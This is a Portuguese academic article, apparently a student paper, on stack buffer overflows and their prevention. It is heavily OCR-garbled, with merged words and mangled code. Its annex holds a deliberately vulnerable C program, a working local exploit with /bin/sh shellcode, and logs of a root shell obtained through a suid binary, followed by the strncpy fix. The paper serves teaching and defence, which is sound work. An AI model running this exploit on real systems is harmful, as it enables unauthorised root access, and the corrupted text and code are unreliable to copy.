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Resumo.Este artigo aborda a importancia da seguranca d&rmacéo,

visando a protecdo e a integridade dos dados desigstema através da
adocdo das boas praticas de programacdo além daaliaacdo de

ferramentas com a finalidade de prevenir ou solo&aroproblemas em um
sistema. Enfatizando o buffer overflow que sobmegmr a execucdo do
programa causando erros, falhas e até execucdoa@scodigos, muitas
vezes maliciosos e que acabam elevando os privfiédp atacante. Por fim,
apresenta algumas medidas, que se adotadas melhmmualidade final do
software uma vez que inibem a execucao de codifdsaaios.
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1. Introducéo

Visto que seguranca a respeito da informacao éssoméo que sempre interessa a todos
0os tipos de usuarios, seja o usuario comum, o fgerde banco de dados, o
programador, o administrador de rede, o hackerg enttros é notavel a preocupacéo
com o desenvolvimento de softwares cada vez ma®eddos, e com maior controle de
qualidade. Mesmo que de forma simplificada, os gdatum sistema capaz de gerar
uma informacdo sejam cuidadosamente protegidosieeri grande preocupacdo em
manter a integridade desses dados, além do aesdgtoraos mesmos. Assim, algumas
medidas devem ser adotadas com a finalidade deorieeltio software e tornando-o
mais seguro. O tema abordado no artigo, realizadués de referéncias bibliogréaficas e
testes, busca solucionar e evitar o problemaudfer overflowou estouro de pilha.

Pode-se entender quéoffer overflowe o resultado do armazenamento de uma
quantidade maior de dados que sua capacidade sufpaside 2004]

Ao executar programas, sao criados processoseairigio, estes sdo divididos
em quatro regides: texto, pilha, daddseap.O buffer overflow baseado em estouro de
pilha é fruto do comprometimento das regifes digilha ou dados, uma vez que a
area deheapfaz uma alocacao dinamica de memoria. [Aranha]2003

A regido de texto refere-se ao cédigo do prograixa pelo programa e inclui
as instrucdes propriamente ditas e os dados so#ledioi@. Por esta razdo, qualquer
tentativa de sobrescrevé-la resulte em violac&edmentacao.

A regido de dados contém as variaveis globaisatiess do programa.

A regidoheappermite a alocacdo dinamica de memoaria por meiochdenadas
da familia malloc. A area deeapcresce em sentido oposto a pilha e em direcataa es



A regido da pilha € um bloco de memoria contigticzado para armazenar as
variaveis locais, passar parametros para funcomsnazenar os valores de retornos
destas. O endereco de base da pilha é fixo e s@maesstrutura é realizado por meio das
instru¢cdes PUSH e POP implementadas pelo procassado

Visualizando a estrutura dmffer como uma pilha, ao exceder sua capacidade
de armazenamento de dados, ocorre o0 “estouroteEeas principal problema da pilha,
uma vez que o atacante consegue se privilegiaradpgma alvo alterando seu endereco
de retorno para um codigo malicioso. O sucesso atague desse tipo permite ao
atacante desde danos como o travamento de uma madquivantagens de um
superusuariorot). [Inside 2004]

A substituicdo de comandos, a atualizacdo donseésede compiladores que um
desenvolvedor utiliza sdo alguns cuidados e medinagles de se adotar a fim de se
evitar possiveis ataques de estouro de pilha,pssgpue com essas medidas, consegue-
se inibir a passagem de dados extras para a pwMitando o problema de estouro de
pilha.

Assim, torna-se de extrema importancia geren@amdneira mais segura um
sistema, a fim de evitar que a falha, ou a expéwraiestas ocorram. O gerenciamento
envolve limitar beneficios de acesso a um arquiNigultar a escalada de privilégios;
além de dificultar o roubo e a perda de informaggosas. Tomando por base essas
consideracfes, o0 software se tornara um alvo menloeravel e menos propicio a
exploracdo de vulnerabilidades, o que em teoriastaada mira de hackers.

Existem trés tipos de ataque considerdulaféer overflow baseado em estouro
de pilha, baseado eheap,e baseado em retorndilaC. [Aranha 2003]

Esse artigo abordabuffer overflowbaseado em estouro de pilha, decorrente das
falhas nas regides de dados, texto e/ou pilha & esttuturado da seguinte forma:
Introducédo, MotivacaoBuffer Overflow, Técnicas para evitar as vulnerabilidades,
Testes realizados e Consideracgdes finais.

2. Motivacao

Frente & evolugdo dos mecanismos de ataque, aés/a 0 constante aprimoramento
dos invasores apesar da notavel melhoria da qdalida software, ainda é notavel que
etapas de testes muitas vezes néo sao realizadaandra mais adequada. Esse fator
faz surgir a preocupacdo de usuarios e empresasi@anque sejam vitimados. Atraves
das explicacbes do principio do funcionamento désdos de ataque em nikearnel,

o chamadokernel hacking,consegue-se uma compreensdo que facilita a busca p
melhorias em prol de um sistema mais seguro e/owsneulneravel.

3. Buffer Overflow

Bufferssé@o areas de memoria criadas pelos programaspagaenar dados que estao
sendo processados de maneira analoga. Neste arigndo uma melhor compreensao
€ possivel referencidruffer como pilha. Cada pilha tem um determinado tamaje
depende do tipo de dados que ele ird armazenar.

A situacdo déuffer overflowocorre quando o programa recebe mais dados do
que estad preparado para armazenar na pilha. Desta,fse o programa nao foi



adequadamente escrito este excesso de dados @ime aendo armazenado em areas
de memaria proximas o que acaba corrompendo dadéswando o programa. Ainda
h& a possibilidade do mesmo ser executado queatsgoerigosa devido a uma possivel
escalada de privilégios. [Morimoto 2002]

O principio béasico ddouffer overflow consiste em estourar louffer e ao
sobrescrever parte da pilha altera os valores daaveis locais, parametros e/ou o
endereco de retornoefurn addresy Ao alterar o endereco de retorno de uma funcéo o
buffer overflowfaz com que o endereco aponte para uma area eno quiligo
encontra-se armazenado. Normalmente o novo endempoatado é um cdédigo
malicioso dentro do propridouffer estourado. Pode-se assim, executar codigos
arbitrarios com os privilégios do usuario que exaca programa vulneravel. Os
principais alvos sao servicos de sistema ou a@e@sague executam com privilégios de
superusuario. [Almeida 2003]

A Figura 1 representa a pilha Hofferapds a insercdo de alguns parametros:

» ESP - Topo da Pilha
= EBP — Base da Pilha

Figura 1 - Pilha ap6s chamada de funcao (call) [Vitali 2006]

Na Figura 1, é possivel verificar a existéncialdis registradores utilizados para
controle de uma pilha. Séo eles: EBP e ESP, o porBeBP —base pointeg utilizado
para indicar a base de uma pilha. Ja o segundegistrador ESP stack pointeré
utilizado para indicar o topo de uma pilha. Umaaipode conter além do endereco de
retorno, algumas variaveis, parametros e outrossdpdra controle da pilha, como os
registradores acima citados.

A pilha é o enfraquecedor de toda essa estrutneavez que é possivel alterar o
valor do endereco de retorno do programa e redmédio para um codigo malicioso.
Assim, os ponteiros de instrucfes como do prodeS$y que € o registrador que guarda
0 topo da lista, passam a ser controlados pelam@@que pode fazer chamadas a
fungBes disponiveis no sistema.

Devido ao fato da alteracdo do endereco de refwyder ser feita pelo “estouro”
de uma variavel local alocada na pilha é que aigim nomebuffer overflow
[Firewalls 2006]

3.1.Shellcode



Shellcodeé um conjunto pequeno de instrucdes assemblygerados a partir de um
programa que foi codificado e compilado especifieara para a plataforma afvo
objetivando explorar uma vulnerabilidade e execotanandos arbitrarios. Geralmente
€ comum ter como resultado a chamada de um intadqmede comandosgfiell’) por
iSso 0 nome éshellcodé.

Shellcodeem nivel dekernel significa codigo de maquina. Por exemplo, nas
janelas a instrucdo de conjunto do “eax” que éamsfvel em armazenar o valor de
retorno de uma pilha, é transformada em 0x50. &ug&o “nop” (10 operation que
nao faz nenhum tipo de alteracdo nos dados é dramsfla em 0x90. Essas alteracbes
sdo os chamadazpcodes (operation codesprrespondentes, ou seja, ao debugar um
programa € possivel verificar que as instrucdesvalgutes em codigo de maquina,
possuem o seguinte formato OxYY, onde Y € um carad¢texadecimal. Ao  explorar
uma vulnerabilidade o atacante controla o programa para executar sehnellcode
[Camargo 2006]

Shellcodessdo muito usados nosxploits (programas customizados para
exploracdo de uma vulnerabilidade) como parte desmms, “camuflando” as
instrucdes arbitrarias, ou seja, sdo os codigoximsbds que através de codigo de baixo
nivel realizam chamadas a funcdes do sistema aléirse modificar por exemplo o
status de um usuario, fazer chamadas de um nospretador de comandashgll)
[Hackerteen 2005]

3.2.Exploit

O termoexploit que em portugués significa literalmente, explokay mundo virtual é
usado comumente para referir-se a pequenos coédigoprogramas desenvolvidos
especialmente para explorarem falhas introduzidas a&plicativos por erros
involuntarios de programacao. [Almeida 2003]

Podem ser preparados para atacar um sistemadacemotamente, variam
muito quanto a sua forma e poder de ataque. P&hodia serem pecas de codigo
especialmente preparadas para explorarem falhaes especificas, geralmente ha um
diferenteexploit para cada tipo de aplicativo alvo, para cadadgpdalha ou para cada
tipo de sistema operacional. [Almeida 2003]

Exploits que trabalham tentando fazer uma exploracdo dmurestde pilha,
geralmente, obtém dois resultados, ou o travamdatanaquina, ou a escalada de
privilégios, caso ocexploit tenha sido devidamente codificado e o codigo nosic
injetado e executado através do mesmo.

3.3. Tipos de ataque

Os tipos de ataque baseados em estouro de pilngeaem quando, o atacante através
de um exploit, estoura a capacidade de alguffere modifica o fluxo de execucao do
processo, possibilitando a execucdo de codigosramibs previamente injetados em
alguma regiao, geralmente no progrigfer estourado.

! Entende-se por plataforma alvo o tipo de processad



O principio é estourar o buffer e sobrescrevetepada pilha, alterar o valor das
variaveis locais, valores dos parametros e/ou egdette retorno da pilha. Alterando o
endereco de retorno para que ele aponte para @&drepe o codigo a ser executado
encontra-se armazenado (cédigo malicioso dentrprdprio buffer estourado ou até
algum trecho de cddigo presente no programa vueBrdAranha 2003]

3.3.1Stack Overflow

Um processador € constituido por alguns registesmdque servem para inserir e retirar
pequenos dados que ficam armazenados para possperacOes. Porém existe uma
grande limitacdo sobre esses registradores nogjere+se a capacidade disponivel de
memoria (somente alguns bits). Para aumentar apsa&idade existe a pilha que é uma
regido da memoria que foi reservada para armazdgans dados do processamento de
um programa.

O exemplo mais comum dwmuffer overflowé o stack overflow. Germostack
overflow vem do inglésstack que seria a pilha everflow que é o ato de exceder a
capacidade da pilha.

O caodigo 1 apresenta um exemplo de codigo vuheeeasack overflow

void ProcessaParam (char *arg);

void main (int argc, char *argv[]){
if (arg > 1){
printf("Param: %s\n", argv[1]);
ProcessaParam(argv[1]);
}
}

void ProcessaParam (char *arg){
char buffer[10];
strepy(buffer, arg);/* PROBLEMA: se a string con tida em arg
tiver mais que 10 caracteres
havera um "buf fer overflow" */
printf(buffer);

Codigo 1 - Exemplo de codigo vulneravel [Almeida 2003]

No Cddigo 1, é possivel observar que o método Bsagaram faz uma chamada a
funcdo strcpy, que possui um elevado risco quartdzada, podendo causar uma
fragilidade quanto a estouro de pilha. Portantgsoca string seja maior que 10
caracteres, que € o tamanho maximo do vetdfer, a variavel “arg” permitira um
atague baseado em estouro de pilha. [AlImeida 2003]

3.3.1.1 Funcionamentdstack Overflow

Um stack overflow representam programas queanipulam (recebem) variaveis
necessitando deuffers.Bufferssdo posicées de memadria onde sdo guardados os dado



que as variaveis recebem. Quando se declara unéelaem um programa com
tamanho X no momento da execucédo desse progranasidvel aloca o espaco X e
somente podera ser utilizado por esta variaveléerRpio programa precisa de mais
espaco para alocar outras variaveis e funcdes tamies como o endereco de retorno,
por exemplo. Assim, quando coloca-se mais inforreagfie o tamanho previsto pelo
programa ocorre o estouro de pillséatk overflowyue podera causar o travamento do
programa, erro ou até a execucao de codigos arbgra

A regido conhecida cometack ou pilha, € responsavel por receber dados
(argumentos) e passa-los para as fungdes. O s@Tleque se da a essa regido é porque
ela pode ser comparada a uma pilha, onde ao sechezecom dados, o ultimo dado a
entrar serd o primeiro dado a sair (LIFQast in, first out.Fazendo-se uma analogia
com uma pilha de pratos, o prato da base da pithalémo a ser usado e o prato do
topo, o primeiro).

Pilhas sdo geralmente utilizados em softwarectgsincluindo compiladores e
interpretadores, geralmente o C usstackquando passa parametros (argumentos) as
suas funcbes. Em assembly sdo usados dois compado®nviar e retirar dados do
stacksao elepushe pop, respectivamente. O primeiro insere dados na pilbappo.
Enquanto o segundo recupera o ultimo dado insésutiém localizado no topo.

A Figura 3 apresenta o esquema do funcionamensted& overflow

B bytes ¥ bytes dbytes 4 bytes
I T T T 1
Algumas FFP Enderego | Parametros da
Buffer-alvo vanavels locais salve |de retorno funcio
Topa da Pilha II=.II=' Base da Filha
Desvio de execugdo
Tamanho da string a ser colocadano buffer B+ X +4 + 4

Figura 3 - Esquema do stack overflow [Firewalls 2006]

E possivel observar na Figura 3, que na pilhateisParametros da funcéo
proximos a base, e logo a seguir o Endereco dentetmue controla o fluxo de
execucdo na pilha. E possivel ver também a exist@ecum FPftame pointey que é
utiizado para a criagdo e alocacdo dos dados tmem,pgue se da através do
deslocamento entre a base da pilha e o FP, catcdatho através deste processo
armazenando algumas variaveis, inclusiieutferalvo que de acordo com a Figura 3
se encontra proximo ao topo da pilha.

Um stack overflowgeralmente obedece a seguinte estrutura:

+ + S —— +

| buffer[256] | variaveis | retorno |
+ + Feee e +

NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNCCCCCCCCUIUTUUTMURRRRRRRRRRR

Onde temos:

N = NOP = 0x90 (lingaugem de maquina)

C = ShellCode (cddigo malicioso)

R = Endereco que sobrescrevera o endereco de retor no

Diagrama 1 - Esquema do stack overflow



De acordo com o Diagrama 1, observa-se que divensasicdes NOP sé&o
utilizadas juntamente comshellcode(codigo malicioso) para estourar a pilha e injetar
o0 novo endereco de retorno representado por R,acamdificacdo desse endereco de
retorno, é possivel fazer um desvio no fluxo deceg&o e apontar, por exemplo para o
inicio exato dashellcodepu, alguma das instrucées NOP, que ndo modificzsa,raté
que encontrem o C oshellcodeque fard as mudancas de privilégios através de
chamadas de sistema em cédigo de maquina.

A escalada de privilégios € conseguida, quandadereco de retornadturn
address)é alterado através dexploit, que sobrecarrega a pilha com dados inuteis
(NOP) além do cddigo maliciosshellcod¢. O codigo malicioso por sua vez, apos o
estouro de pilha faz chamadas de sistema os quaasnasobre os programas do
superusudrio ou comsuidf ativado, assim obtendo os privilégios do mesma uez
que modificam o status do usuario atual (atacar@@eyhellcodedeve possuir um
tamanho exato para finalizar junto com o enderegagetiorno adequado, pois dessa
forma o programa termina sua execucao, e o apantdimpo da pilha podera chamar
a proxima instrucao a ser executa normalmente g@awprograma nao tivesse sofrido
nenhuma alteracdo. Ao final do processo, 0 atagantera obtido sua escalada de
privilégios.

4. Técnicas para evitar as vulnerabilidades

A solucéo tradicional é utilizar funcdes de bildicd que ndo apresentem problemas
relacionados duffer overflow A solucdo na biblioteca padrédo € utilizar as fiasc
strncpy e strncat que recebem como argumento o noUum@éximo de caracteres
copiados entre as strings. [Firewalls 2006]

A Tabela 1 abaixo apresenta as fungdes nativadindaagem c e seus
respectivos riscos.

Funcao Risco Solucio
gets() Extremo Usar fgets(buffer, tamanho stdin)
Strepy() Alto Usar strnepy() ou strlepy()
Streat() Alto Usar strncat() ou strlcat()
Sprintf() Alto Usar snprintf
Scanf() Alto Utilizar especificadores para limitar tamanho
gete() Moderado Ao utilizar esta funcdo num loop, verificar
buftfer destino
fgets() Baixo WVerificar se o tamaiho do destino suporta o
argumento da funcio
snprintf Baixo Verificar se o tamanho do destino suporta o
argumento da funcio

TABELA 1 - Riscos de func¢oes [Firewalls 2006]

A Tabela 1 apresenta os niveis de risco na wdizalas fungdes com o intuito
de evitar a ocorréncia de estourohidgfer. Assim, os niveis de risco sdo qualificados

2 Suid — capacidade de alguns sistemas, utilizado para dgierminados programas rodem com
permissdes de superusuario (root)



em Extremo, Alto, Moderado e Baixo. Entende-se cosum Extremo aquele que torna
o software extremamente vulneravel a um estoulda; Alto grande risco de tornar o
software vulneravel a estouro de pilha; o Modemadaracterizado por um risco medio,
pois com uma simples verificacdo deffer de destino podemos evitar que burfer
overflow ocorra; ja o Baixo é facilmente prevenido quandmbém é feito uma
verificacdo entre o tamanho do destino e o argusgafuncao.

Deve haver controle no argumento fornecido pasaei@ ndo exceda o tamanho
da string de destino, ou entdo teremos novamenteadigo vulneravel. A funcéo
sprintf(n) também pode ser utilizada, desde qudosgeca na string de formato o
namero maximo de caracteres a serem impressosmgdt destino, e que este nimero
seja compativel com a sua capacidade.

Existem solucdes em bibliotecas distintas do madr@mo a Libmib e a Libsafe.
A Libmib programa a realocacdo dinamica das striggando o seu tamanho é
ultrapassado e a Libsafe contém versdes modificddaguncdes suscetiveisoaffer
overflow

Além das funcdes e bibliotecas, outras recomer$agassam pela utilizacdo de
compiladores com checagem de limite, aplicaca@atehesque impossibilitem ao
Sistema Operacional a execucéo de cédigo na pilheay.

5. Testes realizados

Os testes foram realizados no seguinte ambientzegsador - Athlon XP 2600+,
memoéria — 1GB DDR, disco rigido — 80GB, sistemaragenal — Kurumin Linux 3
(kernel2.4.22), linguagem C utilizada para escrever ograroas, e o compilador gcc
para a compilagdo dos mesmos.

Os algortimos utilizados se encontram na secd@ardxos. O primeiro é o
algoritmo “programal.c” vulneravelsiack overfloywonde a vulnerabilidade surge com
0 uso da funcao “strcpy”, pois esta nao faz nenhipm de checagem de limites de
armazenamento de dados, e uma sobrecarga de @aosaspossivel.

O segundo, é exploit “exploit.c” utilizado para explorar a vulnerabgide do
primeiro algoritmo, sobrescrevendo dados da pitihma mstrugcdes NOPMO operation)
ou seja, instrugbes que ndo fazem nada, apenascheme a pilha, além dshellcode
que faz a execucdo dos codigos arbitrarios (escaladprivilégios, por exemplo) e o
novo endereco de retorno calculado através da dufigéga_esp()”. Esses dados
sobrescrevem a pilha e o novo endereco de ret@uata para alguma instrucdo NOP,
gue ndo faz nada até qushelicodeseja executado.

O terceiro algoritmo “programa2.c”, € o codigorado através de uma simples
alteracdo de funcdes. A funcdo “strcpy” substityida “strncpy” que faz checagem de
limites de armazenamento entre a origem e o desto® dados. Portanto uma
sobrecarga de dados ndo é possivel quando a flstgdcpy” € utilizada corretamente,
pois a fungcdo verifica se o destino suporta os slafiee estdo sendo passados pela

origem.

® Heap- permite a alocacgéo dinamica de memdria por meichamadas da familia malloc. A

area de heap cresce em sentido oposto a pilhad@egio a esta.



5.1. Execucao dos testes

Primeiramente, € preciso compilar os codigos asraeécompilador gcc. O compilador
recebe dois parametros o codigo fonte e o nomaida $utpu) através do parametro
“-0” nomeSaida:

helder@Ilocalhost:/stack_overflow$ gcc -o vuln01 pro gramal.c
helder@localhost:/stack overflow$ ./vuln01

Uso: ./vuln01 <string>

helder@localhost:/stack _overflow$ ./vuln01 helder

Voce digitou: helder

helder@localhost:/stack overflow$

Cadigo 2 — Compilando o programa vulneravel

Com o programal compilado, € possivel executarograma “vuln01” que
recebe como parametro uma cadeia de caracterdéc igprime na tela essa mesma
cadeia.

Como o cdédigo do “programal.c” esta vulneravetack overflow é possivel
uma sobrecarga a fim de se obter um estouro da,pillma sobrecarga pode por
consequéncia causar uma falha de segmentacao dewadmprometimento da pilha,
veja o codigo 3.

helder@localhost:/stack_overflow$ ./vuln01 “perl -e 'print "A"x300;"
Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA

Falha de segmentacdo

helder@localhost:/stack overflow$

Codigo 3 - Estouro de pilha do programa vulneravel

7

Nota-se que através do auxilio da linguagem Pedractere “A” é passado 300
vezes como parametro para o programa “vuln0l1”, asas um estouro de pilha,
consequentemente uma “Falha de segmentacdo” daeidamanho excessivo desse
parametro e alteracao dos dados previamente inseralpilha.

Para a exploracdo do “vuln0l1”, foi utilizado o pdoit.c” também compilado
atraveés do gcc, funciona da seguinte forma: furigéga_esp()” retorna o valor do topo
da pilha que é usado para saber exatamente agminde comecar a sobrescrever 0s
dados da pilha, com instrucbes NOP, alénstulicodeem direcéo a base da pilha, pois



o endereco de retorno que precisa ser sobresociipa uma regido de memdéria mais
proxima a base da pilha.

helder@localhost:/stack_overflow$ gcc exploit.c -0 xpl
helder@localhost:/stack_overflow$ ./xpl 600

Novo endereco: Oxbffff461

Colocado 203 NOPs

Voce digitou: A«"1AEFF

(lixos de memoria)

sh-2.05b$ exit

exit

Codigo 4 — Compilando e executando o exploit

A partir do “exploit.c” através do gcc foi gerado“xpl” que recebe como
parametro um valor corresponde ao deslocamentGs@oe para que o exploit execute
a partir de alguma instrucdo NOP ou execute exatim® inicio dshellcodepara que
o resultado do mesmo seja satisfatorio sem caunsafalha de segmentacéao.

Como ja mencionado, programas cemid ativado permitem que programas
rodem com permissdes de superusuaoot], e como oshellcodese aproveita desta
capacidade fazendo uma mudanca no “uid” e “gid” @snara O (zero), ou seja, status
de root, ao final, ainda fazendo uma chamada a um nowprdtador de comandos
(shell) A seguir o codigo necesséario para ativasuid do “vulnO1” bem como a
mudanca de don@{nel do programa, que passara a serad do sistema.

helder@localhost:/stack overflow$ su

Password:

root@Ilocalhost:/stack overflow# chown root.root vul n0l
root@localhost:/stack_overflow# chmod 4755 vuln01
root@localhost:/stack overflow# exit

exit

helder@localhost:/stack_overflow$ ./xpl 600

Voce digitou: a—"ApA¢Asa—ApAiAsa—ApAiAsa—ApAiAsa —ApA¢Asa—ApA¢Asa—
"AUAG AL APAG AL,

sh-2.05b# id

uid=0(root) gid=0(root)

sh-2.05b#

Codigo 5 - Elevacao de privilégios através do Buffer Overflow

Primeiramente, € necessario falogin comoroot, foi utilizado o comando “su”
para este proposito. Depois com o auxilio do comdoldown” a mudanca de dono do
arquivo “vuln0l1” foi efetuada, mudando-o pawot. E com o comando “chmod” foi
ativado osuid para o programa vuln0O1 bem como permissédo pai@u&teo programa
por qualguer usuario.

Para verificar a eficiéncia dexploit é feito ologoff do usuariaoot, e executa-
se oexploit como feito no Codigo 4, porém nota-se uma diteremensagem na tela,



em que o interpretador de comandos € outro, nesse @ novo interpretador de
comandos é o “/bin/sh” chamado atravésidellcode agora com o status deot torna-
se possivel comprovar essa escalada de privilagiagés do comando “id” que informa
o uid e gid do usuario atual, ambos retornam (jzadicando que o usuario é uoot.

Para correcdo do problema, foi necesséaria umalesmpudanca de funcoes:
“strcpy” substituida por “strncpy”, isso é suficienpara corrigir o problema, porque
essa segunda funcdo faz uma checagem de limiteanpmr verifica se o destino
consegue armazenar 0 que a origem esta tentandar.e@aso, ndo suporte todos os
dados, a funcdo armazena somente os dados queln@&casregam a variavel, pois foi
previamente estipulado um tamanho limite junto rc&o “strncpy” (que deve ser no
maximo do mesmo tamanho da variavel) sendo assprggrama néo pode mais sofrer
falhas de segmentacéo, pois a pilha ndo pode maiasificada com a sobrecarga de
dados.

helder@Ilocalhost:/stack_overflow$ gcc -o prgSafe pr ograma2.c
helder@Ilocalhost:/stack_overflow$ ./prgSafe

Uso: ./prgSafe <string>

helder@localhost:/stack_overflow$ ./prgSafe helder

Voce digitou: helder

helder@localhost:/stack_overflow$ ./prgSafe “perl - e 'print "A"x300;"

Voce digitou:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAZAD! @

helder@localhost:/stack overflow$

Codigo 6 - Verificacao de corregao 1

O “programa2.c” compilado através do gcc, tem rseme de saida “prgSafe”,
que apos uma tentativa simples de sobrecarga des,dadta-se que nao acontece
nenhum tipo de falha de segmentacéo como no preghanmn0l1” que permite que essa
sobrecarga danifique a pilha. O programa “prgSafl aloca esses dados extras na
variavel, eliminando assim o risco de estouro deapiporém é possivel notar que
alguns simbolos foram exibidos na tela (lixo de @), estes servem para indicar ao
usuario que existe uma sobrecarga de dado, emBoraausam nenhum dano neste
momento, ja que ndo séo alocados na pilha.

Um dultimo teste foi realizado alterando-se apenas Ulinha do “exploit.c”™
“execl("./vuln01", "vuln01", buffer, 0); ” mudando para:

“execl("./prgSafe", "prgSafe", buffer, 0);



Esta mudanca € necessaria, pois agora o alwxploitndo € mais o programa
“vuln01” e sim o0 novo programa “prgSafe”, entdo eee modificar a linha em questéo,
compilar o noveexploit e refazer os mesmos testes realizados no CodiDeve ser
setado um novo dono para o programa atgotj, ativar osuid para o0 mesmo, além da
permissao para execucdo do programa por qualquériosatravés dos comandos ja
mencionados “chown” e “chmod”.

helder@localhost:/stack_overflow$ gcc exploit.c -0 xpl2
helder@localhost:/stack overflow$ su

Password:

root@localhost:/stack_overflow# chown root.root prg Safe
root@localhost:/stack_overflow# chmod 4755 prgSafe
root@localhost:/stack overflow# exit

exit

helder@Ilocalhost:/stack_overflow$ ./xpl2 600

Voce digitou: a—ApA¢A;a—ApAiAsa—ApALAsa—ApAiAsa —ApA¢Asa—ApA¢Asa—
"AUAG AL APAG AL,

helder@localhost:/stack overflow$ id
uid=1000(helder) gid=513(Nenhum)

helder@localhost:/stack overflow$

Codigo 7 - Verificacao de corregao 2

Ao executar oexploit “xpl2”, é possivel notar que 0 mesmo tenta fazer a
sobrecarga de dados, porém, como o problema folvids, os codigos maliciosos
(shellcodenao foram injetados na pilha, logo os comandograrlns responsaveis pela
escalada de privilégios ndo foram executadosxptoitse tornou inutil.

6. Considerac¢des Finais

O kernel hackingé uma ameaca que deve ser levada em consideragés p
programadores, uma vez que, ao ser explorado msogemal intencionada pode
representar um grande perigo. Ao permitir que [EEssSEXternas aos usuarios da
organizacao tenham acesso com privilégios em toslogveis incluindo o nivel deot,

0 sistema se torna extremamente vulneravel, congiemdo a seguranca em todos os
niveis.

Apesar de ndo parecer trivial num primeiro momemi@ os leigos, também nao
é tdo complicado para quem possui conhecimentosratFamacao e arquitetura de
computadores a prevencdo de pequenos erros nago édal complexo. Equipes de
seguranca utilizam-se dessas técnicas de atagae gracdo de solu¢des, bem como
novas funcionalidades para o software.

Portanto, o programador deve sempre estar atenterr@as comuns de
programacao, evitar, por exemplo, comandos quenpachisarbuffer overflow tais
como strcpy, que deve ser substituida por strnepydo checagem de valores e
tamanhos das variaveis, faz com que codificar swévgeguro seja dificil. Além dessas
preocupacgdes € sempre recomendavel a instalagiatahesde correcdes e atualizacédo



constante das ferramentas que possui, inclusiv&istema Operacional ou o kernel do
seu sistema, quando possivel.

O numero de vulnerabilidadesaffer overflowencontrados foi impressionante:
de 4865 vulnerabilidades registadas, 3206 resuttanerros de validacado de “input”
(aproximadamente 66%) dessas, 586 sdo “buffer loves’f (aprox. 12% do total).
Portanto, cuidados relacionado$uffer overflowdevem ser adotados, pois ainda hoje
sdo um alvo muito constante e apresentam um grasute [Database 2005]

Embora tratar e evitar esse tipo de problema ej@odificil, notamos que muitas
vezes 0s devidos testes que os padrdes de prajgeyem, ndo sdo devidamente
seguidos ou acabam apresentando falhos e pequestsdbs podem acabar passando
dentre as varias linhas de cdodigo, logo medidasoitaptes de serem tomadas no
Sistema Operacional devem ser implementadas, corsi@mlacdo depatches que
impossibilitem a execucdo de cddigos em outrasdoza da pilha, insercédo de codigos
arbitrarios na pilha, checagem de parametros, Atam desses, vale lembrar que
cuidados extras devem ser tomados quando um seftweguer privilégios de
superusuario para executar.

Apesar do amplo estudo realizado sdméfer overflowé importante salientar
gue o artigo engloba apenas um método de explaragdeado em estouro de pilha.
Assim, fica a sugestdo de pesquisa dos demais tassueferentes ao tema para
conclusdes e desenvolvimentos futuros.
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Anexos
Seguem os algoritmos usados nos testes:

1 - Algoritmo vulneravel a stack overflownome “programal.c”:
/*

Exemplo de programa vulneravel a stack overflow

Escrito por Maycon Vitali

*

#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[256];
if (argc < 2) {
printf ("Uso: %s <string>\n", argv[0]);
exit(0);
}
strepy(buffer, argv[1]);
printf ("Voce digitou: %s\n", buffer);

2 - Exploit criado para atacar “programal.c”,nome “exploit.c”:
/*
Exploit para exemplo de programa vulneravel akstaerflow
Escrito por Maycon Vitali
*/

#define TAM 272
#define NOP 0x90

/l Nossa funcao[zinha] q pega o valor do nosso ESP
unsigned long pega_esp(void) {
__asm__("movl %ESP, %EAX");

/l Vamos declarar nosso shellcode

char shellcode[] =
"\xeb\x1fix5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89 \x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb \x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xffixff/bin/sh";



int main(int argc, char *argv[]) {
char buffer[TAM];
long addr; // Para armazenar o endereco do shellc ode

int i;

/I Armazenamos o valor do endereco de buffer

addr = pega_esp();

/I Possibilitamos alterar o endereco de retorno pa ra chutar
variacoes(offsets)

if (argc > 1) addr += atoi(argv[1]);
printf("Novo endereco: 0x%08x\n", addr);

/I Enchemos o buffer com o esp(que presupomos que eh onde esta o
shellcode)

for(i=0;i<TAM;i+=4){
*(long *)&buffer[i] = addr;
}

/I Vamos encher uma parte do buffer com nossos NOP S

for (i=0; i < TAM - strlen(shellcode) - 24; i++)

buffer[i] = NOP;

printf ("Colocado %d NOPs\n", TAM - strlen(shellco de) - 24);

/I Agora colocamos o shellcode depois dos nops

memcpy(buffer + i, shellcode, strlen(shellcode));

/I E executamos vuln01 passando nosso buffer malig no como parametro

execl("./vuln01", "vuln01", buffer, 0);

3 - Algoritmo néo vulneravel astack overflownome “programa2.c”:
/*

Exemplo de programa corrigido a stack overflow

Adaptado por Helder Flausino

*

#include <stdio.h>



int main(int argc, char *argv[]) {
char buffer[256];

if (argc < 2) {

printf ("Uso: %s <string>\n", argv[0]);
exit(0);

}

strnepy(buffer, argv[1], 256); //aqui a correcéo,

printf (“Voce digitou: %s\n", buffer);

passagem do limite



